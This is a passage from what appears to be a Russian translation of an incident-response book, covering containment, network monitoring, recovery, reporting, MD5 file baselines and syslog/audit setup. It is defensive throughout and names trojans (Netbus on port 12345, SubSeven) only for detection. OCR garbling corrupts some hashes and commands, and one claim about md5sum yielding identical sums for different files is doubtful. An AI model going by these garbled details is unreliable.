РЕАЛИЗАЦИЯ МЕР БЕЗОПАСНОСТИ
Целью фазы реализации мер безопасности (см. рис. 2.6) является проведе-
ние мероприятий, предотвращающих опасность будущих инцидентов. Дру-
гими словами, нужно устранить проблему. Изоляция и ограничения необ-
ходимы для реального восстановления или повторного построения
системы. Если система не защищена от атак в будущем, то нельзя гаранти-
ровать "чистоту" восстановления.
Требования к реакции
на инцидент
Рис. 2.6. Процесс реализации мер безопасности
Ниже будут рассматриваться стратегии реагирования на инциденты раз-
ного типа и предполагаемые разрушения системы. Возможность примене-
ния стратегии восстановления тоже зависит от доступных времени и ресур
сов, включая людские ресурсы, оборудование и программное обеспечение.
ОСТОРОЖНО Если собраны факты о возможных административных, уголовных и
гражданских действиях, следует провести анализ этих данных еще
до начала внедрения мер безопасности. Если быстро обезопасить
систему (например, за счет изменения сетевой топологии, внедре-
ния фильтрации пакетов или установки на хосте нового програм-
много обеспечения), но не провести в необходимом объеме анализ
и документирование инцидента, то теряются ниточки к источнику и
причинам инцидента, столь необходимые при его расследовании.
Самым важным правилом является сохранение состояния системы
на момент инцидента!
На фазе изоляции и ограничения важно предотвратить дальнейшие дей
ствия атакующих. Перед началом восстановления системы следует прове-
рить, что злоумышленники уже не смогут получить доступ к ранее скомпро-
метированной системе, сети или информационному ресурсу. Для этого
существуют разнообразные программные инструменты и технологии.
Для изоляции и ограничения инцидентов, подобных вторжению в компь-
ютер, можно просто отключить от сети скомпрометированный компьютер.
Во многих случаях это позволяет предотвратить дальнейшие удаленные
атаки. Однако не всегда этого бывает достаточно. Есть ли еще компьюте
ры жертвы? Насколько важен компьютер для сетевых и бизнес операций?
Что делать, если необходимо продолжить мониторинг действия хакеров,
чтобы собрать факты для уголовного дела?

28
Глава 2
Еще одним способом является электронная изоляция компьютера. Уда-
лите из данного домена широковещательных рассылок другие компьюте-
ры, чтобы ограничить доступ к другим системам компании. Злоумышлен-
ник не сможет провести сетевую атаку, не имея возможности перехватить
имена пользователей, пароли и другие важные данные.
Внедрение сетевой фильтрации тоже обеспечивает хорошую электрон-
ную изоляцию. Такие фильтры позволяют продолжить мониторинг неза-
конных действий, но вместе с тем ограничить вторжение. Иногда этот ме-
тод называется "круглым аквариумом" (fishbowling), поскольку позволяет
как бы под увеличительным стеклом рассматривать действия хакера, не
разрешая ему выйти за пределы "стеклянной сферы". Кроме того, сетевая
фильтрация помогает продолжить бизнес операции, но запретить доступ
хакерам за счет фильтрации пакетов по исходным адресам или характеру
трафика. Можно фильтровать трафик к или из IP адреса компьютера жерт-
вы на основе протокола, порта характеристик другой сети или транспорт-
ного уровня. Сетевой мониторинг рассматривается в главах 6 --- 8.
"Круглый аквариум" для поимки злоумышленников
Термин "круглый аквариум" используется сотрудниками правоохранитель-
ных органов для описания метода изоляции и ограничения действий хаке-
ров. Целью этого метода является создание в сети области, которая на пер-
вый взгляд ничем не отличается от остальных сетевых областей, но
находится под наблюдением сотрудников службы компьютерной безопас-
ности или органов правопорядка. Для организации такой области необхо-
димо совместное использование нескольких специальных технологий, по-
скольку требуется изолировать скомпрометированный компьютер
(физически или электронным способом) за счет изменения сетевой топо-
логии или таблицы маршрутизации. В такую область может быть специаль-
но помещен еще один компьютер, чтобы моделировать обычные сетевые
операции.
СЕТЕВОЙ МОНИТОРИНГ
Сетевой мониторинг необходим для проведения расследования и восста-
новления. Для большей части инцидентов мониторинг должен начинаться
на фазе первоначальной реакции и проводиться до полного завершения
восстановления. Мониторинг преследует две цели:
Позволяет отлеживать действия атакующего для сбора дополнительных
фактов
Гарантирует отсутствие повторения уже произошедшего инцидента

Введение в реагирование на компьютерные инциденты
29
НАГЛЯДНЫЙ ПРИМЕР
Во время расследования одного из инцидентов было обнаружено, что
взломана система Linux, установленная с параметрами по умолчанию.
Были проведены почти все фазы расследования: исследование инциден-
та, сетевой мониторинг и т.д., но забыли изолировать устройство перед
восстановлением системы с дистрибутива на компакт диске --- поэтому
исследуемая система была постоянно подключена к сети! После восста-
новления системы с дистрибутива мы отправились спать, но не заблоки-
ровали систему. Каково же было наше удивление на следующее утро, ког-
да было обнаружено, что журнал сетевого мониторинга опять показал
вторжение в только что установленную систему!
Где и как проводить мониторинг
Лучше начать с мониторинга той подсети, где находится целевая система.
Другая область потенциального проведения мониторинга включает в себя
всю сеть или сеть интранет. Мониторинг в этих областях предполагает вы-
явление незаконных действий, исходящих из внутренней или внешней
сети. Все области мониторинга можно легко определить по топологической
карте сети, разработанной на этапе подготовки к инциденту (см. главу 3).
ВНИМАНИЕ Во время расследования может потребоваться подключение к взло-
манному хакерами компьютеру или компьютеру, являющемуся ис-
точником атаки. В любом случае необходим доступ к участвовавшим
в инциденте системам. Во время прослушивания целевыми система-
ми считаются все компьютеры, которые анализируются в процессе
расследования инцидента.
Мониторинг можно проводить разными методами. Полноценному мо-
ниторингу должна быть подвергнута вся подсеть целевой системы. Обычно
переносной компьютер настраивается на режим перехвата пакетов, во вре-
мя которого отбираются пакеты с атрибутами, наиболее подходящими для
расследования данного инцидента. Менее полный мониторинг проводится
в пределах всей сети. Можно рекомендовать регистрацию работы маршру-
тизаторов для выявления пакетов определенного типа, которые поступают
или отправляются из клиентской сети (см. главы 6 --- 8).
Выбор информации для мониторинга
На фазе исследования должна быть получена информация для ограничения
рамок мониторинга. Хотя возможен полномасштабный мониторинг всех сете
вых операций, обычно существуют ограничения, связанные со свободным
местом па дисках и сетевой полосой пропускания. В этом случае можно peги
стрировать только входящий и исходящий трафик системы жертвы. Трафик
из взломанного атакующим компьютера тоже необходимо отслеживвть, по
скольу многие хакеры оставляют черные ходы для создания подключений
к взломанным сис темам.

30
Глава 2
Если известны IP адреса потенциальных источников атаки, необходим
мониторинг трафика таких компьютеров. Если источник атаки находится в
Интернете, может потребоваться мониторинг в рамках этой глобальной
сети, а не только в подсети компьютера жертвы. Мониторинг в Интернете
позволит выявить все действия в подозреваемых IP адресах источника лю-
бого хоста данной глобальной сети.
Необходимо проводить мониторинг уникальных характеристик атаки.
Например, если атакующий пользовался троянцем Netbus, который слуша-
ет порт 12345, то необходимо провести мониторинг всего трафика на этом
порту. Если же атакующий пользовался определенной комбинацией имени
и пароля для доступа к системе, то следует провести мониторинг всего тра-
фика, содержащего такую комбинацию. Точное следование типу инциден-
та во время мониторинга часто позволяет выявить сопутствующие атаки и
незаконные действия.
ВОССТАНОВЛЕНИЕ
Целью фазы восстановления является воссоздание безопасного и рабочего
состояния поврежденной системы. Это особенно важно для инцидентов с
неавторизованным доступом, например вторжения в компьютерные систе-
мы. Однако обычной является ситуация, когда уволившиеся из компании
сотрудники оставляют для себя черные ходы в систему, сохраняют имена
входа или продолжают иметь иные пути доступа к компьютерным систе-
мам. Время на выполнение фазы восстановления зависит от особенностей
конкретного инцидента и выбранной стратегии восстановления. В общем
случае восстановление проводится только после завершения процесса сбо-
ра фактов об инциденте и изоляции компьютера от атак в будущем. Фаза
восстановления показана на рис. 2.7.
Рис. 2.7. Фаза восстановления

Введение в реагирование на компьютерные инциденты
31
Выявление того, что было скомпрометировано
Перед восстановлением системы следует оценить уровень компрометации,
а также тип и местоположение скомпрометированной системы. На фазе
исследования необходимо определить не только уровень компрометации,
но и идентифицировать возможные действия атакующего внутри системы.
Тип и местоположение скомпрометированной системы определяют ре-
акцию, выполняемую в ответ на атаку. Если система находится в подсети
вместе с другими хостами, придется исследовать все системы в подсети, по-
скольку внутренний трафик, скорее всего, был перехвачен атакующим, что
может привести к компрометации остальных хостов в подсети. Если же
скомпрометированная система является передним оконечным Web серве-
ром с жестко кодированным паролем доступа к задней оконечной базе дан
пых, то на этапе исследования во время восстановления придется изучить
и базу данных.
Пример инцидента
Атакующий использовал анонимный каталог FTP для загрузки и распро-
странения пиратского программного обеспечения (ПО). Атакующий не
имел привилегированного доступа к системе и никогда не исполнял на
ней никаких программ. В этом случае восстановление выполняется про-
сто --- необходимо изменить пароль или права на доступ к серверу FTP,
чтобы анонимные каталоги FTP не имели одновременно прав на запись
и чтение.
Если система принадлежит большой области с взаимными доверитель-
ными отношениями (например, домену Windows NT), атакующий скорее
всего взломает пароль для учетной записи, действующей в пределах всей
такой области. В этом случае необходимо провести исследование и восста
вление не только скомпрометированной системы, но и всех компьюте
ров, па которые действуют подозрительные учетные записи. Рекомендуем
изменить пароль, действующий в пределах всей сети, особенно когда ском-
прометированы реквизиты администрирования.
ВЫБОР СТРАТЕГИИ ВОССТАНОВЛЕНИЯ
Как отмечено выше, процесс восстановления сильно зависит от выбранной
стратегии восстановления. В общем случае наиболее безопасным способом
восстановления является переустановка системы с дистрибутивного ком
пакт диска. Если атакующий загружал и исполнял на скомпрометированной
системе неизвестный и опасный код, необходимо восстановление из "по-
------- успешной" конфигурации, записанной в архивном носителе (так
называемой "known good" конфигурации). Поосле переустановки следует на
строить систему для обеспечения ее безопасности, причем провести эту

32
Глава 2
настройку еще до перевода системы в рабочее или интерактивное состоя-
ние. Безопасность системы (или усиление ее безопасности) предполагает
отключение всех неиспользуемых служб, применение файлов обновления
(patches) к операционной системе и приложениям, усиление паролей и
проведение иных административных мероприятий для защиты от инци-
дентов в будущем. О безопасности операционных систем и ПО существует
огромное количество интерактивных ресурсов и книг.
Во время восстановления можно использовать резервные копии систе-
мы, но только в том случае, если известно, что инцидент произошел уже
после создания архивной копии. Иначе можно восстановить не только сис-
тему, но и созданные в ней черные ходы, которые успешно были записаны
в архивной копии после проведения атаки. Кроме того, восстановление из
резервной копии приведет к воссозданию старых паролей, имен входа и
уязвимостей скомпрометированной системы. Проверьте, что ничто из пе-
речисленного выше не будет воссоздано после возвращения системы в ра-
бочее состояние.
После восстановления потребуется применить новые методы безопас-
ности. Скорее всего, список дополнительных мер безопасности будет до-
статочно длинным. Для предотвращения инцидентов в будущем можно ис-
пользовать средства контроля на уровне хостов, фильтры пакетов,
брандмауэры, системы выявления вторжений (IDS), обучение пользовате-
лей и новые политики безопасности. Особенности произошедшего инци-
дента помогут выбрать наиболее эффективные методы дополнительного
усиления безопасности. Многие методы безопасности нацелены на буду-
щее, поэтому должны быть хорошо документированы во время их примене-
ния на фазе восстановления системы после инцидента.
Пример инцидента
Атакующий получил в системе UNIX права административного доступа
за счет использования уязвимости в службе RPC (Remote Procedure Call,
вызов удаленной процедуры). Система выявления вторжений IDS зареги-
стрировала в своем журнале, что атакующий использовал протокол FTP
для пересылки файла из Интернета в скомпрометированную систему.
Атакующий выполнил, а затем удалил подобный файл. В этом случае нуж-
но оценить потенциальные возможности хакера. Уже нельзя точно опре-
делить, что было сделано после загрузки незаконного файла, поэтому
следует исходить из наихудших предположений. Т.е. вы допускаете, что
атакующий получил доступ к загружаемым модулям ядра системы, что
очень трудно подтвердить или опровергнуть, поскольку черный ход мо-
жет быть создан не на уровне файловой системы, а на уровне ядра. Уро-
вень компрометации будет таков, что придется полностью переустанав-
ливать систему с дистрибутивного компакт диска и нельзя обойтись
только изменениями паролей доступа к системе.

Введение в реагирование на компьютерные инциденты
33
ОТЧЕТ
Целью фазы отчета является создание набора документов об инциденте (при-
чем, чем больше будет описание инцидента, тем лучше). Естественно, это не-
легкая работа, поэтому документирование инцидента следует начинать не в
конце всего процесса, а с самого начала реакции на инцидент. В описании
нужно отразить все фазы и операции реакции на инцидент. Если обнару-
жится, что нужно описать операции, проведенные три дня назад, то иногда
лучше заново провести эти действия, чтобы точно отразить их в отчете.
Инциденты сопровождаются паникой и необоснованными действиями,
но будет большой ошибкой отсутствие в отчете сведений о действиях, ко-
торые впоследствии оказались неадекватными. Реакция на инцидент --- это
скучный и педантичный процесс, который необходимо точно описать в от-
чете. Технические ошибки в сочетании с неясным отчетом не позволят эф-
фективно предотвращать будущие инциденты. Ошибки в документации об
инциденте могут привести к неправильным выводам и неадекватным за-
щитным действиям.
Отчет об инциденте может стать основой для увольнения сотрудника
или ареста хакера. Этот отчет возможно попадет судье, адвокатам или со-
трудникам полиции. Однако любой человек знает, как трудно вспомнить
факты о событиях, произошедших несколько дней или недель назад. А если
придется описывать события, произошедшие несколько лет тому назад?
Расследование многих компьютерных преступлений тянется годами, поэ-
тому лучше сразу подробно и точно изложить все факты об административ-
ном, должностном или уголовном нарушении.
Фаза создания отчета предполагает действия, завершающие расследова-
ние инцидента и помогающие предотвратить инциденты в будущем. Среди
них:
Участие в административном или уголовном расследовании. Возмож-
но, люди, участвовавшие в расследовании инцидента, будут привлечены
как свидетели для дачи показаний во время уголовного, административ-
ного или должностного следствия. В этом им помогут отчеты и за-
метки, созданные во время расследования инцидента.
Формирование окончательного заключения об инциденте. Собран-
ная документация поможет сформировать взвешенный и обоснован
ный заключительный отчет об инциденте. В нем необходимо отразить
особенности инцидента, предпринятые ответные действия, возмож-
ные причины инцидента и предложить рекомендации по устранению
подобных инцидентов в будущем.
Рекомендации по улучшению скомпрометированных инцидентом
процессов. Любой инцидент является для нас хорошим уроком.. Всё
необходимо проработать со всеми членами команды реагирования на
инциденты.

34
Глава 2
ИТОГИ
Как говорилось в начале главы, не бывает двух похожих инцидентов. Каж-
дый инцидент требует индивидуального реагирования. Несмотря на боль-
шое разнообразие инцидентов и реакций на них, необходима полноценная
методология по реагированию на инциденты. Мы формализовали гибкую
среду, которая может быть использована для большинства инцидентов,
связанных с компьютерной безопасностью. Читая книгу дальше, помните
об этой среде. Специальные инструменты, методы и действия, описанные
здесь, максимально полезны в широком контексте реагирования на инци-
денты.

ГЛАВА 3
Подготовка
к реагированию на
компьютерный инцидент

36
Глава 3
Книга
посвящена реакции на инциденты, поэтому возникает вопрос:
"А нужна ли отдельная глава о подготовке такой реакции?". Нужно ли гото-
виться к марафону, чтобы успешно преодолеть всю дистанцию? Ясно, что
хорошая подготовка необходима во многих областях, в том числе и при ре-
акции на инцидент. Подготовка к инциденту нужна не только для разработ-
ки эффективных контрмер, но и для претворения их в жизнь.
Основой подготовки к инциденту является создание предпосылок для
выработки быстрых ответов на вопросы, возникшие после инцидента. Сре-
ди этих вопросов:
Что реально произошло?
Какие системы затронуты инцидентом?
Какая информация скомпрометирована?
Какие файлы были созданы, изменены, скопированы или удалены?
Что могло стать причиной инцидента?
Кого следует уведомить об инциденте?
Какие действия нужно предпринять для быстрого возобновления биз-
нес операций в компании?
В этой главе рассматриваются технические и организационные меро-
приятия, дающие ответы на поставленные вопросы. Среди прочего обсуж-
дается выявление важных информационных активов компании, подготов-
ка к инцидентами отдельных хостов, подготовка сети, установка политик и
процедур безопасности, создание набора инструментов для реагирования
на инциденты, а также формирование команды реагирования на инциденты.
ИДЕНТИФИКАЦИЯ ЖИЗНЕННО ВАЖНЫХ
АКТИВОВ КОМПАНИИ
Первым этапом в подготовке к возможным инцидентам должна стать безопас-
ность сети. Необходимо затратить время на исследование потенциальных
рисков, связанных с компьютерными инцидентами:
Что больше всего может повредить компании: остановка бизнеса, по-
теря репутации, снижение уровня доверия или кража критически
важной информации?
На чем следует сосредоточиться: на краже интеллектуальной собст-
венности, изменении данных или разрушении важных информацион-
ных архивов?
Кто представляет наибольшую опасность для компании?
Понятны ли риски, связанные с неавторизированным доступом хакеров?
Имея общее представление о возможных рисках, компании должна сфор
мировать правила для безопасности наиболее важных активов, Основные

Подготовка к реагированию на компьютерный инцидент
37
правила станут базой для формирования политик и процедур безопасности
активов компании.
Для защиты сети от атаки можно применять мероприятия безопасности
на уровне хостов или на уровне всей сети в целом. В любом случае следует
предотвращать возможные атаки и регистрировать попытки неавторизован-
ного доступа.
В некоторых случаях можно позволить атакующему продолжить свои
операции, но тщательно отслеживать все неавторизованные или незакон-
ные действия (о мониторинге действий хакеров рассказано в главах 6 --- 8).
ПОДГОТОВКА ОТДЕЛЬНЫХ ХОСТОВ
Что необходимо выполнить на каждом компьютере, чтобы гарантировать
быструю и эффективную реакцию на инцидент? Здесь следует возвратить-
ся к вопросам, перечисленным в начале этой главы.
Приведем несколько рекомендаций, которые помогут в любом исследо-
вании наиболее эффективных методов реакции на инцидент:
Запись криптографической контрольной суммы всех важных файлов.
Усиление или разрешение аудита безопасности.
Создание индивидуальных средств безопасности каждого хоста.
Резервное копирование критически важных данных и хранение полу-
ченных архивных носителей в безопасном месте.
Обучение пользователей методом индивидуальной защиты хостов.
НАГЛЯДНЫЙ ПРИМЕР
Однажды нас пригласили в компанию для расследования очень интерес-
ной атаки, хотя и простой. Извне в компанию поступило подложное поч-
товое сообщение (с измененным адресом источника), в которое была
вставлена программа троянец SubSeven для систем Windows, создающая
черный ход для неавторизованного доступа. Программу SubSeven исполь-
зуют многие хакеры, чтобы незаконно получить удаленный доступ к сети.
Эта программа позволяет загружать и копировать файлы на зараженном
компьютере, управлять файлами и даже полностью стереть содержимое
жесткого диска.
В компании использовался пакет Norton Antivirus Corporate Edition 7.5,
который исполнялся на сервере Exchange. Однако этот пакет не смог выя-
вить поступившего троянца (в обычных условиях этот антивирусный пакет
успешно определяет троянца SubSeven), поскольку выполнение процесса,
порожденного антивирусным ПО, завершалось зависанием на перегружен
ном сервере Exchange. Поэтому троянец SubSeven не был выявлен и зареги-
стрирован и журнале программного сервера Exchange. Почтовое сообще-
ние с этим троянцем было доставлено адресату, а нам, уже спустя несколько
недель удалось выяснить, что пользователь попытался запустить программу
SubSeven на своем компьютере, поскольку вложение имело безобидное
имя с расширением .exe

38
Глава 3
Хорошей новостью стало то, что антивирусная программа Norton An-
tivirus на компьютере этого пользователя автоматически удалила вложе-
ние с программой SubSeven, причем были зарегистрированы дата и вре-
мя попытки запуска данной программы. Однако без сведений о
вложении невозможно было определить, на какой порт была настроена
программа SubSeven для прослушивания черного хода. На компьюте-
ре жертве была получена только такая информация:
Гораздо лучше было бы запретить доступ к инфицированному файлу,
но не удалять его автоматически.
Если клиентская антивирусная программа обеспечивает режим сохра-
нения подозрительных файлов, то в процессе расследования инцидента
будет несложно определить использовавшийся атакующим вариант про-
граммы SubSeven. После этого нужно активно сканировать сеть для опре-
деления того, не был ли данный вариант троянца установлен на других
компьютерах.

Подготовка к реагированию на компьютерный инцидент
39
Запись криптографических контрольных сумм
для важных файлов
Когда скомпрометирована некоторая система или определенная информа-
ция, обычно неизвестно, какие действия предпринимал атакующий в сис-
теме жертве. Необходимо проверить целостность файлов и данных. Во
время расследования можно узнать о целостности системной информации
и времени последнего доступа к данным, но для проверки атрибутов фай-
лов необходимо сравнить текущее состояние их системы с "заранее извест-
ным хорошим" состоянием, поскольку требуется выявить все изменения в
системе, произошедшие после инцидента.
К сожалению, после инцидента уже нельзя получить "известную хорошую"
копию этой системы. Такую резервную копию следует создать еще до инци-
дента и в идеале, еще до перевода системы в интерактивное состояние, когда
заранее известно, что атакующий не может ничего изменить в системе.
Имея "известную хорошую" (или "последнюю удачную)" копию, можно
последовательно сравнить состояние всех файлов до и после инцидента.
Если с помощью сравнения не удается выявить отличия, необходимо про-
верить целостность самих файлов. Однако как сравнить две версии фай-
лов --- проверять их построчно или ограничиться сравнением атрибутов
(например, сравнивать размеры файлов)? Как поступить с двоичными фай-
лами, которые невозможно сравнивать построчно? И вообще, как прове-
рить целостность файла?
В проверке целостности поможет криптографическая контрольная сумма
(cryptographic checksum). Иногда ее называют дайджестом сообщения (messa-
ge digest) или "отпечатком пальца" (fingerprint), либо цифровой подписью
(digital signature). Контрольная сумма создается за счет применения к фай-
лу определенного алгоритма, который генерирует для каждого файла уни-
кальное числовое значение. Следовательно, контрольная сумма прекрасно
подходит для проверки целостности файла.
Для подготовки к инциденту следует сформировать криптографические
контрольные суммы всех важных системных файлов еще до возникновения
инцидента. Затем, после инцидента, контрольная сумма вычисляется зано-
во и остается сравнить два значения. Если значения контрольных сумм сов-
падают, значит файл не был модифицирован во время инцидента.
Использование алгоритма MD5 для формирования
контрольной суммы
Наиболее распространенным и популярным методом создания контроль
пых сумм является использование алгоритма MD5, разработанного Роном
Ривестом (Ron Rivest) из Массачусетского технологического института
(МIT). Этот алгоритм был опубликован в апреле 1992 г. в документе RFC
1321, Алгоритм MD5 предполагает создание 128 разрядной контрольной
суммы для файла любой длины. Во многих операционных системах присут
ствует реализация этого алгоритма, включая системы UNIX и Windows.

40
Глава 3
В системе UNIX единственным аргументом команды является имя целе-
вого файла:
[root@localhost /root]# md5sum /bin/login
113b07d56e9c054fe2d7f15462c7b90a /bin/login
Результатом выполнения команды является контрольная сумма фикси-
рованной длины вместе с именем входного файла.
В системах Windows используется похожая команда, но формирование
контрольной суммы для двоичных файлов выполняется иначе. Для созда-
ния контрольной суммы текстового файла применяется команда:
C:\>md5sum boot.ini
f44ece28ee23cd9d1770a5daf6cf51bf boot.ini
Но создание контрольной суммы по алгоритму MD5 для двоичных файлов
предполагает использование флага  b (который не нужен в системах UNIX):
C:\>md5sum  b test.doc
95460dd2eabc0e51e2c750ae8c0cd4b5 *test .doc
Символ "звездочка" (*) перед именем файла указывает на то, что значе-
ние получено для двоичного файла. В нашем файле test.doc содержался
текст "This is a test document". Если изменить содержимое файла на "This is
a test document2", то поменяется контрольная сумма:
C:\>md5sum  b test2.doc
cc67710c67ef69ed02c461c9a9fbe47e *test2.doc
Контрольная сумма изменилась после модификации содержимого файла
(однако изменение имени файла никак не влияет на значение контрольной
суммы).
Использование флага  b является важным отличием систем Windows и
UNIX с точки зрения команды md5sum. Посмотрим, что произойдет с фай-
лами из предыдущего примера, если не указывать флаг  Ь:
C:\>md5sum test.doc
8b30f9eef77e2ac08al9bbl59bfel495 test.doc
C:\>md5sum test2.doc
8b30f9eef77e2ac08al9bbl59bfe!495 test2.doc
Сумма осталась прежней, хотя изменилось содержимое файла. Для
устранения возможных ошибок нужно помнить об использовании в систе-
ме Windows правильного флага в команде вычисления контрольной суммы!
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
RFC 1321 (алгоритм MD5): http://www.landfield.com/rfcs/rfcl321.html
Исходный код алгоритма MD5: ftp://ftp.cerias.purdue.edu/pub/tooLs/unix/
crypto/md5/
Версия Windows для алгоритма MD5 (входит в состав дистрибутива Cygwin):
ftp://go.cygnus.com/pub/sourceware.cygnus.com/cygwin/cygwin b20/full.exe

Подготовка к реагированию на компьютерный инцидент
41
Автоматизация вычисления контрольных сумм
Создать контрольную сумму несложно, но ее вычисление вручную для мно-
жества файлов и систем займет слишком много времени. Языки сценариев
помогут автоматизировать процесс формирования и записи контрольных
сумм для важных файлов.
В качестве простого примера рассмотрим создание списка файлов (точ-
нее списка имен файлов), для которых необходимо вычислить контроль-
ную сумму:
[root@response root]# cat list
/bin/login
/sbin/ifconfig
/etc/passwd
Затем проведем вычисление контрольных сумм для всех файлов из списка:
[root@response root]# md5sum 'cat list' > list.md5
[root@response root]# cat list.md5
113b07d56e9c054fe2d7fl5462c7b90a /bin/login
Fe93307aa595eb82ca751e8b9ce64e49 /sbin/ifconfig
Fa0ebff965b4edbdafad746de9aea0c3 /etc/passwd
Наконец, в будущем можно провести сравнение контрольных сумм:
[rootfresponse root]# md5sum  с list.md5
/bin/ login: OK
/sbin/ifconfig: OK
/etc/passwd: OK
Пример инцидента
He всегда следует доверять утилитам записи базовой версии. Типичным
трюком взломщиков является замена таких утилит на модифицированную
версию, содержащую троянца. Атакующий может заменить утилиту MD5 на
версию, которая будет некорректно формировать контрольную сумму. Если
такая модифицированная версия программы MD5 будет использована для
записи базовой версии о системе, то полученные данные будут некоррект-
ными. Необходимо предпринять меры для создания "заведомо хорошей"
копии любой системной утилиты, и только потом проводить архивную за-
пись базовых данных о системе.
Сами базовые данные необходимо хранить в безопасном месте, иначе
они будут бесполезными. Не следует хранить файл с базовыми данными
на локальном жестком диске! В скомпрометированной системе взломщик
может модифицировать или удалить такой файл. Следовательно, файлы с
базовыми версиями должны храниться в безопасном месте на автоном-
ных носителях, например на компакт дисках, хранящихся в сейфе с огра-
ниченным доступом.

42
Глава 3
Для автоматизации процесса существуют специальные бесплатные и
коммерческие утилиты. Можно рекомендовать пакет Tripwire, созданный в
1992 г. Жене Кимом (Gene Kim) и Жене Стаффордом (Gene Stafford) из
университета Purdue. После выхода первой версии этого пакета появилась
улучшенная коммерческая версия, пригодная для систем Windows и UNIX.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
Исходный академический выпуск (ASR, academic source release)
программы Tripwire: http://www.tripwire.org
Коммерческая версия программы Tripwire: http://www.tripwire.com
Усиление или разрешение регистрации аудита безопасности
Практически любая операционная система и многие приложения имеют
вполне приемлемые возможности для регистрации. Если исследователь име-
ет полный журнал событий, произошедших после предполагаемого инци-
дента, то очень просто ответить на вопрос: "Что произошло?". К сожалению,
во многих программных продуктах возможности регистрации в режиме по
умолчанию оставляют желать лучшего. Для получения всех необходимых
данных из журнала регистрации придется должным образом настроить
аудит. За счет конфигурирования файлов журнала можно получить более
полную информацию, которая не будет подвержена риску искажения.
Настройка регистрации в системах UNIX
В UNIX поддерживаются многочисленные журналы регистрации разнооб-
разных событий (подробно обсуждаются эти возможности в главе 12), но
уже сейчас нужно рассказать о том, как изменить параметры по умолчанию,
чтобы сохранить информацию, необходимую во время расследования инци-
дента.
Управление системной регистрацией Утилита Syslog (System Logging, сис-
темная регистрация) является "душой и сердцем" аудита в системах UNIX.
Любая программа может генерировать сообщения syslog, пересылаемые в
программу syslogd. Управление программой syslogd проводится через кон-
фигурационный файл /etc/syslog.conf. В файле syslog.conf присутствуют
два поля: селектор (selector) и действие (action). В поле селектора описыва-
ются возможности и приоритет генерируемых сообщений, которые опре-
деляют важность (severity) сообщения. В поле действия указано место для
регистрации сообщения.
Чтобы гарантировать наличие и полезность сообщений syslog, необхо-
димо сконфигурировать программу syslog. Для регистрации всех сообще-
ний об аутентификации (auth messag), которые как раз и связаны с обла-
стью безопасности, и регистрации в файлах /var/log/syslog или /var/log/
только сообщений с приоритетом от info (информационное) и выше по-
требуется конфигурационная строка:
auth.info
/var/log/syslog

Подготовка к реагированию на компьютерный инцидент
43
Поскольку место на диске стоит недорого, а регистрация дает несомнен-
ные преимущества при расследовании инцидента, рекомендуется регист-
рировать все события. После инцидента важное значение может приобре-
сти даже ненужное на первый взгляд регистрационное сообщение. Для
регистрации в файл всех сообщений следует указать в полях селектора и
действия подстановочный символ "звездочка" (*):
*.*
/var/log/syslog
После этого в системе будут сохранены все важные сведения.
Настройка удаленной регистрации Если атакующий вошел на сервер UNIX
с правом администратора через защищенную службу оболочки и подобрал
для этого правильный пароль, то регистрационная информация об атакую-
щем (включая адрес источника) будет сохранена в файле syslog или messages.
Однако такой атакующий может удалить или изменить файл /var/log/syslog
или файл сообщений, что приведет к устранению фактов об атаке. Чтобы из-
бежать проблемы, установите защищенную удаленную регистрацию (это
один из важнейших шагов в процессе подготовки к инциденту). Настройка
удаленной регистрации выполняется в два этапа.
Сначала создается центральный сервер системной регистрации (syslog)
для приема входящих сообщений syslog. Единственной целью такой систе-
мы станет прием всех сообщений syslog через порт UDP (User Datagram
Protocol, протокол пользовательских датаграмм) с номером 514. Для на-
стройки такой системы необходимо запустить программу syslogd с парамет-
ром  г (обычно syslogd запускается из стартового сценария гс).
Затем следует настроить другие серверы для пересылки сообщений на
сервер syslog. Для этого достаточно изменить поле действия в файле sys
log.conf:
Auth.*
@10.10.10.1
10.10.10.1 --- это IP адрес удаленного сервера syslog. Предположим, что
Сервер syslog не может быть скомпрометирован. Тогда сообщения syslog бу-
дут защищены и в случае взлома сети они будут сохранены в исходном со-
стоянии (атакующий может добавить подменные сообщения, но не сможет
удалить или модифицировать уже записанные).
Разрешение процесса учета (аудита) Немногим известна интересная осо-
бенность систем UNIX --- process accounting (учет процессов). Это средство
позволяет отслеживать все команды, исполняемые пользователями. Файл
журнала обычно формируется в /var/adm, /var/log или /usr/adm и назы-
вается pacct или acct. Сам файл не предназначен для чтения человеком, но
может быть просмотрен с помощью команды lastcomm или acctcomm.
Для разрешения учета процессов в системе служит команда ассton или
startup (обычно /usr/lib/acct/startup). Эта команда дает полезную инфор
мацию при расследовании инцидентов, однако данные не всегда будут кор
рентными в случае компрометации системы, поскольку взломщик может
удалить или модифицировать файл журнала. Хорошо то, что не существует
широко известных xaxepских программ (по крайней мере, они не известны
авторам этой книги), разработанных для модификации журналов учета

44
Глава 3
процессов. Поэтому у хакера имеется только два варианта для сокрытия
фактов --- "все или ничего", т.е. либо удалить весь файл журнала, либо оста-
вить его без изменения. В любом случае полезно разрешить учет процес-
сов, особенно уже после выявления атаки. Журнал учета процессов даст
ценную информацию о действиях хакера, когда неэффективен сетевой мо-
ниторинг.
Настройка регистрации в системах Windows
Некоторым пользователям не нравятся средства регистрации в системах
Windows NT и 2000, особенно в режиме по умолчанию, когда запрещен аудит
любых событий. Наибольшую досаду вызывает тот факт, что непонятно, где
хранятся журналы регистрации. Однако при правильном использовании и
корректной настройке журналы регистрации станут полезными ресурсами
во время расследования инцидента (см. главу 10). Рассмотрим некоторые
параметры настройки систем Windows: разрешение аудита безопасности,
действия при аудите файлов и каталогов, а также сохранение журнала сооб-
щений на удаленном хосте.
Разрешение аудита безопасности По умолчанию в системах Windows аудит
безопасности не проводится. Для его разрешения необходимо сделать два
изменения в конфигурационных параметрах. В среде Windows NT выберите
Start (Пуск) | Programs (Программы) | Administrative Tools (Администрирова-
ние) | User Manager (Диспетчер пользователей). В окне Диспетчера пользо-
вателей выберите Policies (Политики) | Audit (Аудит), чтобы открыть
диалоговое окно, показанное на рис. 3.1.
Рис. 3.1. Разрешение политики аудита в системе Windows NT
По умолчанию не установлен ни один из режимов аудита. Для разреше-
ния аудита определенных событий в системе следует установить соответст-
вующий флажок, причем как минимум необходимо допустить регистрацию
следующих событий:

Подготовка к реагированию на компьютерный инцидент
45
Logon and Logoff (Вход и выход из системы)
User and Group Management (Управление пользователями и группа-
ми)
Security Policy Changes (Изменения политики безопасности)
Restart, Shutdown, and System (Перезапуск, выключение и системные
события)
